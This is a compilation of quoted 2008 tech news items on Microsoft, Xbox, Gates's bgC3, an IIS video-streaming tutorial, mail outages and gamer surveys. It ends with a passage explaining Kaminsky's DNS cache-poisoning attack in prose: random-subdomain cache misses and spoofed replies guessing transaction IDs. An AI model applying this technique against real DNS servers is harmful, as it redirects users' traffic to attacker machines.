Mr. Ballmer: I don't choose to make forecasts on that kind of stuff ever. It's a function of a lot of things – how rapidly the product improves, how quickly we can sort of capture user imagination on the kinds of improvements we're making, how effective we are in getting our search product distributed. I said to our shareholders that we are prepared to invest significant amounts of money in our online business, 5 to 10 percent of operating income if we had to, for the next five years.

WSJ: Steve, are you concerned that with the departure of Brian McAndrews, the former senior vice president of Microsoft's advertiser and publisher solutions group, and before him Steve Berkowitz, that Microsoft may seem like a inhospitable place to outside executives who come in to run your online business?

Mr. Ballmer: No. You probably should ask Qi. He's an outside exec who is coming in to run our online business.

WSJ: But he doesn't start until January.

Mr. Ballmer: Yes, that's right. So if you want to scare him away, this is the call, I guess. I'm teasing.

No, I don't think so. I mean, Brian, we acquired his company [aQuantive]. And Brian is a CEO, he's been a CEO for a long-time, and you've got to make a judgment. It's different than acquiring a small startup, and when Brian came in he said, hey, look, I'll help you with the transition and I'll see what I think. And he had a chance to do that, this is sort of the right time for him to make a transition. We don't say he's retiring because I suspect he'll be a public company CEO again someplace in the not too distant future, but he's been a great facilitator of the integration of aQuantive, for which I'm very thankful. He's a good friend. Our sons play on the same basketball team.

In general, I would say we have a very good track record in terms of executives coming in from the outside, but a very good record is never 100%. I was talking to the CEO of a Fortune 10 -- the head of HR for a Fortune 10 company – and I said what's your track record? He said we keep about 50%. I said, well, we do a lot better than that we keep about 70-75%. So I think we do pretty well.

WSJ: It was pretty widely known that Brian McAndrews was interested in this job, running the online business. Did you make any effort to try and keep him in some other role?

Mr. Ballmer: I love Brian. It would have been great to have him stay at Microsoft, but I respect the decision he made for his career goals and ambitions.

WSJ: Microsoft I think has hired another Yahoo, former Yahoo technologist, Sean Suchter. Are you specifically attempting to hire talent away from Yahoo?

Mr. Ballmer: I should take that, because Qi has had absolutely nothing to do with any recruiting we've been doing as a company to date, because he hasn't started. We have an A team in search. We have a great competitor, but we have an A team. Sean, who I had a chance to talk with during the process, is another great talent. I'm sure there's other people we've hired from Yahoo. I've been reading there's people they've hired from us. It's a small industry, so some of the talent will flow that direction.

WSJ: Steve, does the souring economy affect your ability to improve your position in search, either on the upside or the downside?

Mr. Ballmer: I don't think it makes a material difference.

WSJ: I'm curious if any pull back in spending on advertising will negatively affect your goals here.

Mr. Ballmer: You asked about market position, which to me implies share. Will online advertising suffer with the economy? The answer to that is sure, of course it will. It makes the P&L tougher. There's no question about that.

On the other hand, relative to building share and position in search and portal, and share of advertising, I don't think the economy is really a factor for us. I don't know if you know the old story about the two guys out in the woods who see a bear, and one guy says, boy, we'd better really run fast, or that bear is going to get us. We've got to run faster than the bear does. And the other guy says, no, I've just got to run faster than you do. In this economy, maybe that's the right way to think about it.
[/QUOTE]

Source: online.wsj.com

>> Dan released the first 'technology preview' release of EncodeHD to replace the Encode360(info) tool. EncodeHD is a an application to re-encode all types of video files for use on your home media player or on-the-go device. It aims to provide a simple interface with no fuss.
From dcunningham.net:

[QUOTE]
So firstly, let's talk EncodeHD. Look at the current beta release (0.71) as a 'technology preview' of sorts. The idea here is to verify that we've got the primary encoding mechanisms up to scratch. So what I'm looking for here is to make sure that video converts for all devices as expected and that the quality is good (or great).

The key things to note for EncodeHD are:

• Outputted video is MPEG4 and H.264 with AAC (or AC3) audio, NOT WMV (this is not strictly for X-Box 360 anymore)
• This means that 5.1 audio for the X-Box 360 is not yet supported in these formats
• Subtitles are also not yet possible, although I'm looking into it

As of now, there's still a lot of unimplemented functionality that will be added later. If you want to see something in particular, please let me know. However, if it's going to cludge up the interface and start making things complex, I may not implement requests. We'll have to see.

One of the nice things about EncodeHD is that it has built-in bug reporting. If you hit a problem, it will ask you if you want to submit a bug report - including all the details I need to help solve the issue. If however, the problem is with video output, it may not detect any problems. In this case, could I ask you to email my bug-tracking system: cases@dcunningham.fogbugz.com, and attach the EncodeHD.Log file which you can find in your Temp folder (Click Start > Run and type %TEMP% to access it).
[/QUOTE]

Official Site: http://dcunningham.net
Download: here

[QUOTE]
Half the things" Microsoft wanted to put into the New Xbox Experience were cut out, Europe's Xbox Live boss has told CVG.

Speaking in a recent interview Microsoft's Jerry Johnson said that the redesigned Xbox 360 dash isn't finished yet and detailed plans to bolster the backend with new applications and content.

"There's still a lot of stuff we want to do," Johnson told CVG in an interview. "Half the things we wanted to do [in NXE] we cut out of the service.

"One of the nice things we did was this architectural change to make things more published and driven from the service. All of a sudden we opened up the platform to say 'I don't have to wait until once or twice a year to release something onto the dashboard'.

"There's a Photo Party app that will be part of the platform," the XBL man added. "The way it will be distributed is all of a sudden you'll see a slot on the dashboard and if you don't have it you click on it and it's going to download from the service onto your application part of the dashboard. Those are the type of things we're going to start doing. Johnson also confirmed that Xbox Live Primetime, which offers server based 'game show' style online games, will be launched in spring 2009.

"I think we're going to see more social, more content-type apps. I also think from a platform perspective we can continue to do a lot of new things," he said.
[/QUOTE]

Source: http://www.computerandvideogames.com

[QUOTE]

Microsoft claims that the New Xbox Experience — that big dashboard upgrade being pushed to all 360 owners on November 19 — will allow your favorite Xbox 360 games to load more quickly. To enjoy that benefit, a gamer will have to install their disc-based games onto their 360’s hard drive.

People keep asking me if doing the installation is worth the trouble. Are loading times that much better?

I tested Microsoft’s claim on four games, using my NXE-enabled 360. Above, you can watch the initial loading for “Grand Theft Auto IV,” DVD vs Hard Drive. After the jump, check out loading comparisons for “Fable II” and “Gears of War.”

(Videos not viewable by users logging in from Canada or the U.K.)

In all cases, I spammed the A button of my controller as soon as the game started loading, so you’re seeing my fastest attempts to get from the new dashboard to the new games.

Each of the games took about 11 minutes to install and required between 6.6 and 6.8GB. It shaved off about nine to 15 seconds off the initial load times.Think it’s worth it?

[/QUOTE]

Source: http://multiplayerblog.mtv.com

[QUOTE]
Just months after his Microsoft farewell, Bill Gates is quietly creating a new company -- complete with high-tech office space, a cryptic name and even its own trademark.

Public documents describe the new Gates entity -- bgC3 LLC -- as a “think tank.” It’s housed within a Kirkland office that the Microsoft co-founder established on his own after leaving his day-to-day executive role at the company this summer.

Is this Bill Gates’ next big business? A Gates insider gives an emphatic no  -- saying it’s not a commercial venture but rather a vehicle to coordinate the software mogul’s work on his business and philanthropic endeavors.

However, bgC3 will also oversee Gates’ personal pursuit of breakthrough ideas in science and technology. The insider said the goal isn’t necessarily to create new companies, although ideas could be passed along to Microsoft, the Bill & Melinda Gates Foundation -- or others – as it makes sense.

Whatever the ultimate role of the company, the circumstances surrounding its creation provide a behind-the-scenes glimpse into the new era of Gates’ life.

State records show that the company, originally called Carillon Holdings, was established in March 2008. It formally changed its name to bgC3 in early July, 10 days after Gates left his full-time job at the company he built into an industry giant. He remains Microsoft’s chairman and continues to work part-time on projects.

The records describe bgC3 as a “holding company” headquartered in Kirkland –a relatively short, picturesque drive from Gates’ home on Lake Washington.

Federal trademark filings provide more clues – describing bgC3 as a think tank, under a generic trademark classification that corresponds broadly to areas including "scientific and technological services," "industrial analysis and research," and "design and development of computer hardware and software."

But what does bgC3 mean? The logical assumption might be “Bill Gates Company Three” – his third enterprise after Microsoft and the Bill & Melinda Gates Foundation. But that’s only partially right, according to the Gates insider.
The “bg” is Bill Gates, the insider says, but the “C” stands for “catalyst.” The idea is that Gates will play that role as he brings together new people and ideas. The “three” reflects the notion of a third place, apart from Microsoft and the foundation.

Before beginning his transition this summer, Gates told reporters that he would focus full-time on the foundation, and part-time on selected Microsoft assignments.
He acknowledged plans for his own office in Kirkland, apart from Microsoft and the foundation, but didn't discuss specifically any plans to organize that office under a new company. At the same time, he said he would be open to personally supporting breakthrough ideas where he sees a chance to advance the state of mankind.

It's not clear exactly where those interests will lead, or precisely what role bgC3 will play in the long run. But Gates, who turns 53 next week, has increasingly expanded his focus beyond Microsoft to problems of technology, science and society.

Much of that broader focus has come through the Gates Foundation, which deals in issues of education and global health. People associated with Gates say he is still expected to focus primarily on the foundation in this new era of his life.

But particularly at a time of economic turmoil, Gates' status and wealth could put him in a position to bring in top scientists and other notable people to work with bgC3. Gates has historically surrounded himself with smart people, and he’s famously thirsty for knowledge. His interests go well beyond computer science into fields as disparate as energy, biotechnology, and global economics.

The concept of a technological think tank wouldn’t be new to Gates. He has taken part in high-powered brainstorming sessions organized by his friend, Nathan Myhrvold, Microsoft's former chief technology officer, who now heads a company called Intellectual Ventures LLC, based in Bellevue. Projects that Gates is backing through Myhrvold include an effort to create an alternative nuclear reactor that produces clean power without waste or proliferation.
Whatever its aims, the new Gates organization doesn't appear to have ambitions of becoming another behemoth. In a letter last year to a Kirkland city official, a Gates representative wrote that total occupancy would be limited to between 40 and 60 people, including employees and visitors, in the space that bgC3 now occupies.

At the same time, it’s no ordinary office space. Visitors say it’s fully stocked with Microsoft technologies, including a Surface tabletop computer with a virtual guestbook application.

Some of bgC3’s activity has been recent. According to the U.S. Patent and Trademark database, the company filed Sept. 29 for federal trademarks on "BGC3" and the "C3" logo. The latter (pictured above) is an intertwined "C" and "3" in block letters.

The Microsoft chairman has established companies before to serve specific purposes, primarily behind the scenes. Watermark Estate Management Services LLC oversees many of Gates’ personal and family matters, and Cascade Investments LLC oversees his stock and other financial holdings.

Several of Gates’ associates are named in the documents tied to bgC3, although Gates himself isn't identified by name in public records associated with the company – a main reason its existence hasn't received media attention until now.
[/QUOTE]

Source: http://www.techflash.com

[QUOTE]
That's right! You can download it now! We'll be asking your help to put this baby through her paces as we lead up to the official release later this year. It is your input that makes us stronger, faster and better.

Download XNA Game Studio 3.0 Beta at Launch Center

If you do find any bugs or just have a suggestion on ways we can make XNA Game Studio 3.0 more awesome head over to Microsoft Connect to submit them to us.

Here is a list of the changes:

Zune

• Compatibility with the upcoming Zune 3.0 Firmware release. Please note that the XNA Game Studio 3.0 CTP will no longer work once you have upgraded your Zune device to the 3.0 firmware.
• Improved deployment stability.
• Support for Zune deployment on Windows Vista x64 Systems!
• You can now use the Remote Performance Monitor for Zune games.

Xbox 360

• Xbox 360 project templates (You will not be able to develop on the Xbox 360 until our final release. We felt this was important to include so that you could get projects converted over and look at the system, even if you are not able to run the games, yet).
• Support for the Big Button Pad.

Framework & Visual Studio Features

• Enumerate and play back media on your Windows computer or Xbox 360.
• Simple sound effect support on Windows computers and Xbox 360.
• Support for Rich Presence (lets friends know what’s going on in your game).
• Support for Invites (ask your friends to join you in a multiplayer game) and Join Session In Progress (after you see what your friends are doing, you can join their current session with just a couple of button presses, even if that’s a different game to the one you are currently playing)
• Compress your content and save space with the new content compression features!
• ClickOnce packaging support for distributing your XNA Framework games on Windows.
• Upgrade your project from XNA Game Studio 2.0 using the Project Upgrade Wizard!
• Take screen captures of your game running on Zune through the XNA Game Studio Device Center.
• Support for .NET language features like Linq
• Create multiple content projects and leverage cross project synchronization in Visual Studio.
• FBX importer improvements: read materials containing multiple textures, and export custom shader materials directly out of Max or Maya.

[/QUOTE]

Source: blogs.msdn.com

[QUOTE]
1. Connect your Xbox 360 to two screens at once

If you've got one of the component/composite dual video cables – the one that comes in the box with most 360s – you can have your console display its gamey goodness on two TVs simultaneously. The trick is to flick the cable's switch to Standard Definition but hook up the composite (yellow) cable to one screen and the component (the red, green, blue) cables to another. It won't be high-def, but it could be handy if you're staging a mini LAN party and want to set up a display for bored spectators to point their eyes at.

2. Play your own music in original Xbox games

That you can fire up your own MP3s during a 360 game is common knowledge (and re-soundtracking moody horror games with the Benny Hill theme tune never stops being funny), but it doesn't work if you're playing a title from the original Xbox. There's a way around it – start playing your album or playlist before you load the game, and it'll keep on playing once you do fire the title up. The game's own music won't be muted, however, so if you can't do that in its settings you'll go mad from the weird cacophony.

3. It can write its own blog

Ah, the internet – founded upon crazy men making crazy things for free. Such as a blog supposedly written by your 360, based on what you've been using it for. It monitors your Live account and automatically generates entries about what it's been up to that day (or what it hasn't been up to – expect many posts about neglect if you don't turn it on for a while). The tone is very much American geek, but it's a fun record of your own gaming habits, and of keeping an eye on what your chums are up to. Get set up atwww.360voice.com.

4. Play Xbox 360 games online for free – without a Live account

That you have to pay a subscription for online gaming, something that's free on other consoles and on the PC, is perhaps the 360's greatest bugbear. Stage your own form of peaceful process by playing online without paying a penny. You'll need XLink Kai, a free app you run from a PC on the same network as the console that tricks the 360 into thinking the internet is a LAN.

So it'll treat remote opponents as though they're in the same room as you – and you don't have to pay for local multiplayer. Clever! One snag – Microsoft has set the 360 to boot out anyone with a ping higher than 30ms, so you'll have to be selective about who you play with. Local chums are best, not your Chinese penpal.

5. Interact with your Xbox 360 music

Hit X whilst playing a music CD or file (whether from the 360's hard drive, an MP3 player you've plugged in, or streamed from a PC) and you'll enter Psychedelic Wonderland. Well, some artful visualisations, anyway. Grab a controller or two (or up to four, as it happens) and start moving thumbpads and pressing buttons to interact with the crazed shifting colours. There are actually some fairly elaborate controls – read the full manual athttp://www.llamasoft.co.uk/x360manual.php. Good at parties, this.

6. Connect your Xbox 360 to a wireless network without an official adaptor

The good news is you don't have to drop £50 on Microsoft's offensively overpriced Wi-Fi adaptor. The bad news is you'll need a laptop with W-Fi to do it. Head to Control Panel – Network Connections (In Windows XP) or Network & Sharing Center – Manage Network Connections (in Vista). Select the Local Area Connection and the Wireless Network Connection at once, then right-click and hit 'bridge connections'.

Disconnect then reconnect to your wireless network, run a network cable from the laptop's Ethernet port to the 360's, and you should be good to go. Unfortunately, you may have to remove the bridge (repeat the above process and you'll see the option) whenever you want to browse the net with the laptop.

7. Play music from your iPod

Not a secret as such, but Microsoft doesn't exactly shout about the fact it plays nice with a device made by uber-rival Apple. Hidden in the depths of the Marketplace, you'll find a teeny download called 'optional iPod support'. Once you've grabbed that, plug in your iPod (iPhones aren't supported yet, sadly) and head to the Media Blade. You'll see your pod appear there, and can now browse its music by album, artist, genre or whatever. It'll also charge via the USB port, usefully.

8. Reset your Xbox 360 video settings

Remember this one if you're in the habit of carrying your console to chum's houses and hooking it up to different displays. It can end up trying to output the wrong signal, so you can't see anything or get a flickering screen. Fortunately, there's a fairly simple fix if this happens. Remove any discs from the tray and turn the thing off. Then turn it on using a gamepad. As it boots, hold down the Y button, then hit and hold the right trigger. The video settings will reset to default, and you'll stop your sobbing.

9. Play any media file, plus online videos on your Xbox 360

Free app Tversity neatly sidesteps the pointless video/audio restrictions Microsoft, Sony and Nintendo alike slap on their consoles, making them able to play any format. Again, you'll need a PC on the same network, but it's a simple matter of installing the program and having it scan the folders you keep your media in. It'll replace the standard network file-sharing system Windows uses, but behaves pretty much the same way at the 360's end. As well as that, it'll convert unsupported files on the fly – though you'll need a pretty beefy PC to do this with large video files, otherwise you'll be waiting ages. You can also add online video URLs on the PC's end – including Youtube – and then access those from the console.

10. Use any HDMI cable and still get digital surround sound

Though the newer 360s have an HDMI output for optimal video quality, they've built the ports in such a way that you can't have the standard component/composite video cable, with its crucial optical audio output, plugged in at the same time as HDMI. Instead, you're supposed to drop a frightening amount of money on the official HDMI cable with audio adapter. Balls to that. See the big plastic box at the end of the standard video cable that connects to the console? Wedge a knife or screwdriver into the join and twist to pop it off. The result looks messy, but is small enough to plug in alongside a standard, cheapo HDMI cable.
[/QUOTE]

Source: www.techradar.com

[QUOTE]
Here's a video of the Google Tech Talks titled "The Xbox 360 Security System and its Weaknesses" by Michael Steil (mist) and Felix Domke (tmbinc): "After the disaster of the original Xbox, Microsoft put a lot of effort in designing what is probably the most sophisticated consumer hardware security system... "

[/QUOTE]

Source: xbox-linux.org via www.xbox-scene.com

This tutorial is about how to configure your web server to stream your own movies on your web page just like video.google.com does.

Requirements:

• Windows Server 2003
• IIS 5.0/6.0
• ffmpeg.exe (from http://ffmpeg.mplayerhq.hu or download latest beta version here)
• flvtool2 (from http://inlet-media.de/flvtool2)
• a GUI for ffmpeg (if you don't want to use the console, e.g. Avanti http://avanti.arrozcru.com)
• a FLV Streaming Player (e.g. FLV-Scrubber 3.0 by Fabian Topfstedt: http://topfstedt.de/FLVScrubber3/FLVScrubber.swf)
• a FLV Player (e.g. http://flv-player.softonic.de)
  

1. Configuring Windows Server 2003 and IIS

Add a new web site in your IIS and don't forget to select "Run Scripts (such as ASP)".

Using this HTTP handler you can easily FLV streaming downloads just like . All you need is to install on your IIS 5.0/6.0 the following HTTP handler and to get this to work correctly, you will need to make sure that IIS handles request for .flv files. In your site's properties, click the "Home directory tab" and click the "Configuration" button. You'll get a form like this:

Add the entry for .flv, click edit, and copy the path in the executable field. This is the aspnet_isapi.dll for the current version of the .NET Framework of your virtual site. Cancel out of that dialog and click "add." Paste the path into the executable, use the extension .flv and set your verbs limited to "GET, POST, HEAD, DEBUG" like this:

Now any request for a .flv file on the site will be handled by ASP.NET. Since the server-wide machine.config file doesn't specify what class should handle the request, a default handler is used unless we add the following lines to the web.config file (of your web site):

2. Coding

Web.config

<httpHandlers>
verb="*" path="*.flv" type="FLVStreaming" />
</httpHandlers>

FLVStreaming.cs

using System;
using System.IO;
using System.Web;
public class FLVStreaming : IHttpHandler
{

    // FLV header
private static readonly byte[] _flvheader = HexToByte("464C5601010000000900000009");

public FLVStreaming()
    {
    }
public void ProcessRequest(HttpContext context)
    {
try
{
int pos;
int length;
// Check start parameter if present
string filename = Path.GetFileName(context.Request.FilePath);
using (FileStream fs = new FileStream(context.Server.MapPath(filename), FileMode.Open, FileAccess.Read, FileShare.Read))
            {
string qs = context.Request.Params["start"];
if (string.IsNullOrEmpty(qs))
                {
                    pos = 0;
                    length = Convert.ToInt32(fs.Length);
                }
else
{
                    pos = Convert.ToInt32(qs);
                    length = Convert.ToInt32(fs.Length - pos) + _flvheader.Length;
                }
// Add HTTP header stuff: cache, content type and length       
context.Response.Cache.SetCacheability(HttpCacheability.Public);
                context.Response.Cache.SetLastModified(DateTime.Now);
                context.Response.AppendHeader("Content-Type", "video/x-flv");
                context.Response.AppendHeader("Content-Length", length.ToString());
// Append FLV header when sending partial file
if (pos > 0)
                {
                    context.Response.OutputStream.Write(_flvheader, 0, _flvheader.Length);
                    fs.Position = pos;
                }
// Read buffer and write stream to the response stream
const int buffersize = 16384;
byte[] buffer = new byte[buffersize];
int count = fs.Read(buffer, 0, buffersize);
while (count > 0)
                {
if (context.Response.IsClientConnected)
                    {
                        context.Response.OutputStream.Write(buffer, 0, count);
                        count = fs.Read(buffer, 0, buffersize);
                    }
else
{
                        count = -1;
                    }
                }
            }
        }
catch (Exception ex)
        {
            System.Diagnostics.Debug.WriteLine(ex.ToString());
        }
    }
public bool IsReusable
    {
get { return true; }
    }
private static byte[] HexToByte(string hexString)
    {
byte[] returnBytes = new byte[hexString.Length / 2];
for (int i = 0; i < returnBytes.Length; i++)
            returnBytes[i] = Convert.ToByte(hexString.Substring(i * 2, 2), 16);
return returnBytes;
    }

}

All you need now to stream your favorite FLV movies is a custom-made player which is fetching the contents passing to the request the ?start= parameter in order to seek the current position inside the video file.

Fabian Topfstedt has one available onto his site (get the player and place it in your site document root).

To use Fabian player you have to embed the following HTML code inside your page (and of course you should change the path to you .flv video and player):

 <object id="FLVScrubber" width="450" height="253" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0"><param name="movie" value="http://topfstedt.de/FLVScrubber3/FLVScrubber.swf"/><param name="bgcolor" value="#000000"/><param name="allowScriptAccess" value="sameDomain"/><param name="allowFullScreen" value="true"/><param name="flashVars" value="file=http://www.nibbler.at/republicofideas.flv&previewImage=http://nibbler.at/republicofideas.jpg"/><embed src="http://www.topfstedt.de/FLVScrubber3/FLVScrubber.swf" bgcolor="#000000" width="450" height="253" name="FLVScrubber" allowScriptAccess="sameDomain" allowFullScreen="true" flashVars="file=http://www.nibbler.at/republicofideas.flv&previewImage=http://nibbler.at/republicofideas.jpg" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer"></object>

There are three attributes of interest: Width and height define the resolution of FLV-Scrubber. If your videos’ native resolution is eg. 320×240 pixels, you might want to set width to 320 and height to 240. No problem if does not match, the video just will be scaled up or down. The third attribute is “flashvars”. That’s where you change the bahaviour and pass over information to FLVScrubber. You need to set at least file here, to link to the video you want to play. Everything else is optional (key/value pairs inside the flashvar attribute are separated using &). Here is a complete list:

• file=[URL] defines which video to show
• &autoStart lets the video start immediately
• &bufferTime=[number] changes the buffer time (default is 3 seconds)
• &clickTag=[URL] defines a target to call after video ended
• &credit=[(URL encoded) text] to show a credit like your company name in the context menu
• &link=[URL] defines a website to open when user clicks into the video
• &linkTarget=[blank,parent,self,top] defines the target of the website above (default: blank)
• &loop=true lets your video replay itself instead of ending (default: false)
• &previewImage=[URL] sets an backgroundimage as preview before playback starts
• &scrubbing=false use that, if you’re webserver has no enabled module for fake streaming (default: true)
• &seeking=false disallows the user to seek inside the video (default: true)
• &secondsToHide=[number] defines amount of seconds that the controlbar waits before hiding (0 means never, default is 5)
• &startAt=[number] defines the the second where the playback will start (default:0)

3. Converting your movie into FLV format

Now you need to convert/encode a video file (e.g. .avi) into a .flv by using ffmpeg and flvtool2 to index your in order to add the correct metadata inside the FLV file. You can do this by using the console (e.g):

ffmpege.exe -i test.avi test.flv
flvtool2.exe -U test.flv

or by using a GUI for ffmpeg like Avanti (http://avanti.arrozcru.com):

(don't forget to copy the ffmpeg.exe in your ../avanti/ffmpeg folder and load the "FLASH HQ" template from the Avanti menu). If you are a proud owner of Adobe Flash Professional 8 you can use the Flash 8 Video Encoder and you don't need ffmpeg and flvtool2 to encode and index your videos.

After encoding your video you can use a PLV Player (e.g. http://flv-player.softonic.de) to check if .flv file match your needs (e.g. correct resolution, bitrate...).

Now upload all file to your web server and your web site root should look like:

yourdirectory/App_Code/FLVStreaming.cs
yourdirectory/Web.Config
yourdirectory/default.htm
yourdirectory/FLVScrubber.swf
yourdirectory/yourmovie.flv

[QUOTE]
According to Commtouch Software, an average of about 10 million zombie computers worldwide are sending an average of 3 million messages every day. Some time periods indicate a collective peak spam output of 8 million to 10 million messages.

Many of those messages are sent through the top three web-based mail services. Gmail, operated by Google, ranks #3 among the top 10 origins for spam. Yahoo ranks #6, and Hotmail, operated by Microsoft, ranks #7. It's probably not coincidental that the rankings correspond to the popularity of each company's search engines and other online services.

The current top 2 offending domains origins are nearly unheard of by the majority of Internet users. Active-encounter.com, operated by marketing company iLead Media, ranks #1 and authentic-mechanic.com, registered to Tad Asaro, ranks #2. Asaro is registrant of the relatively new BabytoBee.com site.

Commtouch's cost calculator currently indicates that a company with 50 employees, each with an average salary of $50,000 per year, who also receive 25 messages per day - half of which are spam - would spent $14,300 per year as a direct result of dealing with spam.
[/QUOTE]

Source: windowsitpro.com

[QUOTE]
Apple's MobileMe and Google's Gmail online e-mail services suffered hours-long outages Monday, leaving millions of users unable to access their accounts.

Google restored service within about two and a half hours, but it took Apple approximately seven hours to restore full access to its online mail service.

Apple users first reported trouble accessing the service's servers from their desktop mail clients around 2 p.m. Eastern, and in the next several hours, posted several hundred messages on the MobileMe support forum about the outage.

A notice on the service's main support page acknowledged the problem. "MobileMe members are intermittently unable to access MobileMe Mail using a desktop e-mail application, iPhone or iPod touch," said Apple. "Access to www.me.com/mail is unaffected. Service will be restored ASAP. We apologize for any inconvenience."

By 9 p.m. Eastern that notice had been replaced with an all-clear indicator.

Google's Gmail, meanwhile, went offline around 5 p.m. Eastern, and greeted users with a message reading in part, "We're sorry, but your Gmail account is currently experiencing errors."

A little over two hours later, Google added a notice to its Gmail help page that attributed the outage to "the contacts system used by Gmail which is preventing Gmail from loading properly. We are starting to roll out a fix now and hope to have the problem resolved as quickly as possible."

Shortly after that, at about 7:30 p.m., Google declared the outage over. "Users who were temporarily affected by the 502 errors should now be able to access their account," read a message posted to the Gmail Help Discussion forum. "Thanks for your patience while we worked to resolve this issue for everyone."

Apple users were especially livid, in part because they, unlike Gmail's users, pay for their service, and also because of the multiple problems they had with MobileMe since its launch a month ago.

"I'm so disgusted with Apple right now I don't even know what to say," said a user identified as "Furi0us.Bee" in a message posted to the longest forum thread on the subject.

"This is crazy," said another user, "mac_wa," on the same thread. "I have had more down time with my mac/me mail than any other service I've had... and I pay for this."

But Owen Schultz had one of the best takes of any user. "Dear MS Outlook," Schultz started, "I am so sorry about our breakup several year ago. I have been thinking about you a lot since then. Will you please consider taking me back? Just one more chance? I'm sorry about all the horrible things I said about you and your operating system. You were the best I ever had! MobileMe and I are finished!"

MobileMe's travails -- ranging from an extended migration from its predecessor, .Mac, to an 11-day mail outage last month -- prompted Apple's CEO, Steve Jobs, to issue a memo to company employees last week in which he called the rollout "not up to Apple's standards."

Jobs shook up Apple's management team over the series of snafus, and handed responsibility for the service to Eddy Cue, who heads iTunes.
[/QUOTE]

Source: www.infoworld.com

In addition to stating that PlayStation 3 owners are most likely to have other "next-generation" consoles than Wii and Xbox 360 owners, NPD claimed that only 10% of PS2 owners have a PS3. In the realm of portables, 45% of PSP owners have a Nintendo DS, but only 21% of DS owners have a PSP.

Despite the broad declarations, NPD did not provide specific figures for console and PC playtime. Likewise, an exact breakdown showing the ownership patterns of those that have multiple "next-generation" consoles was absent from the release.

Using information gathered back in January and February, the report separated the North American game-playing populace into the following seven categories, totaling 174 million gamers:

• Young Heavy Gamers: 22%
• Seconday Gamers: 20%
• Console Games: 17%
• Offline PC Gamers: 15%
• Online PC Gamers: 14%
• Avid PC Gamers: 9%
• Extreme Gamers: 3%

The segments are categorized by usage, ownership and frequency numbers, though the specifics definitions were not provided.

Though PCs were "used more than any single console for gaming," NPD stressed that "Console Gamers, Young Heavy Gamers and Extreme Gamers are more likely to use consoles than a PC to play video games."

As for sales, NPD reports that 14% of games purchased between November 2007 and January 2008 were digital downloads. Extreme Gamers bought nearly 24 titles across the three month period, with NPD claiming that figure is "over seven times more than the second leading purchasing segment.""Although Extreme Gamers are heavily involved with the industry, they represent a small portion of the potential market for any new game that comes to market," commented analyst Anita Frazier. "In order to promote continued growth, we must better understand all of the gaming segments."

Details on the methodology of the report are as follows:

"The data was collected from more than 20,000 members of NPD's online consumer panel, ages two to 65+. Responses for consumers ages six to 12 were captured by instructing a parent to take his or her child in this age range to the computer to answer the questions, either with or without the parent's assistance. Qualified respondents reported they personally play video games on a PC, on a console or portable system, or on another device such as a mobile phone. The following four key variables were used to create the gamer segments: ownership; usage; frequency; and purchased/received video games. Final survey data was weighted to represent the U.S. population of individuals ages 2 and older. Fieldwork was conducted from January 11-February 5, 2008."

Note: This study was conducted in January, meaning that questions that refer to consumer behavior in the past three months include the Christmas/Hanukkah holidays.

[/QUOTE]

Source: www.shacknews.com

[QUTOE]

Las Vegas (NV) – The Internet relies on trust, but what if all that trust comes tumbling down?  That’s exactly the problem noted security researcher Dan Kaminsky described today in his Black Hat talk about DNS cache poisoning.  Several months ago, Kaminsky discovered a vulnerability in the DNS protoctol that allowed bogus name information to be sent to other servers and desktop computers – in essence hackers could redirect web surfers, chat clients and even email servers to machines of their choosing.  Specific details about the vulnerability and the ways to exploit it have been kept secret until today …

Kaminsky is the director of penetration testing for IOActive and specializes in playing around with DNS.  He says he found the vulnerability by accident while he was poking around for other “toys”. To fully understand the bug, let’s go into a brief introduction into how DNS or domain name service works.  Network gurus can probably skip the next few paragraphs.

Almost every Internet service you use, from email to web browsing uses DNS convert the easily remembered names like www.google.com, www.youtube.com and others into IP address like 123.456.789.123.  This conversion is needed because people can remember names easier.  Also companies can change names while keeping all their services pointed to the same numerical IP address.
Behind the scenes, DNS servers make this magic happen by holding a database of DNS records which are lists of names with corresponding IP addresses – think of it as a big list of example.com = 123.456.789.123, example2.com = XXX.XXX.XXX.XXX, etc.  Client computers ask for an IP address by sending a DNS request to the server and the server will reply back with the answer.  Of course servers can only hold so much information, and will hand off the request to a more authoritative server, if it doesn’t know the answer.  The requests can be further bounced up the chain until they reach the ultimate or root domain name servers for the Internet.  If these guys don’t know the answer, then the name to IP address mapping doesn’t exist.
Now imagine yourself as a 411 operator who has to find telephone numbers when asked about a certain place - let’s say Outback Steak House in Torrance, California (our favorite place in the world).  On the first call, you’d probably type it into your computer and wait for the answer, but let’s say the place is really popular and you get tons of calls every day for the place.  Eventually, a smart operator would write the number on a Sticky-Note and post it on the monitor for quick retrieval.  Then when a person calls, you simply read the number on the note, rather than taking the time to type it into the computer.  Well this is exactly what DNS servers do in form of cache.
Kaminksy’s DNS bug, as some people are calling it, exploits this cache by sending malicious requests and once a sufficient number of requests have been sent, the hacker can start rewriting the entries.  It’s important to distinguish that the actual records of the DNS server is not corrupted by this bug, rather it’s the entries in the cache itself.
Kaminsky sat down with us afterwards to give us all the gory details that would make the average man’s head explode, but hey that’s why you come to TG Daily isn’t it.  His attack forces your local domain name server (which is probably your Internet router) to basically perform all the work.  The bad guy forces the DNS server to purposely miss the cache by asking for the IP address of crazy domain names like 1.foo.com, 2.foo.com, 3.foo.com.  Your local domain name server won’t know the details so it then asks other servers to obtain the answer.
As requests and replies flow out and back to your local server, the attacker then unleashes a torrent of specially crafted packets to the victim domain name server.  These packets try to guess the transaction ID of the DNS reply which is a number that ranges from 1 to 65536.  The attacker also has to forward the packet to the correct port which in most cases is the default DNS port 53.
The attack is basically a race of a the hacker stream of DNS replies versus the real reply coming from the real DNS server.  Once the victim DNS server receives a reply with a valid transaction ID, the attacker can substitute any IP address for the domain name.  “The hacker’s packet blows away the response from the real server,” Kaminsky told TG Daily.

Kaminsky was kind enough to draw out the attack for us.  The client computer is on the left and the first node to the right is your local domain name server.

Ok, so I’m sure some of you see two big problems with this.  First, how the heck do you guess the correct transaction ID out of more than 65000 numbers and how do you get the local domain name server to issue the query that starts the whole ball rolling?  Kaminsky says most DNS servers simply increment their transaction ids which makes guessing them fairly trivial.  Also some implementations of DNS are run on a buggy random number generator that produces predictable patterns of numbers.  As far as getting the domain name server to issue the query, Kaminsky told use there are at least eight ways that he knows of and probably tons more that he doesn’t.  “Sometimes you can just ask and the server will issue a query, but it’s amazingly easy to get a DNS server to look something up,” he said.

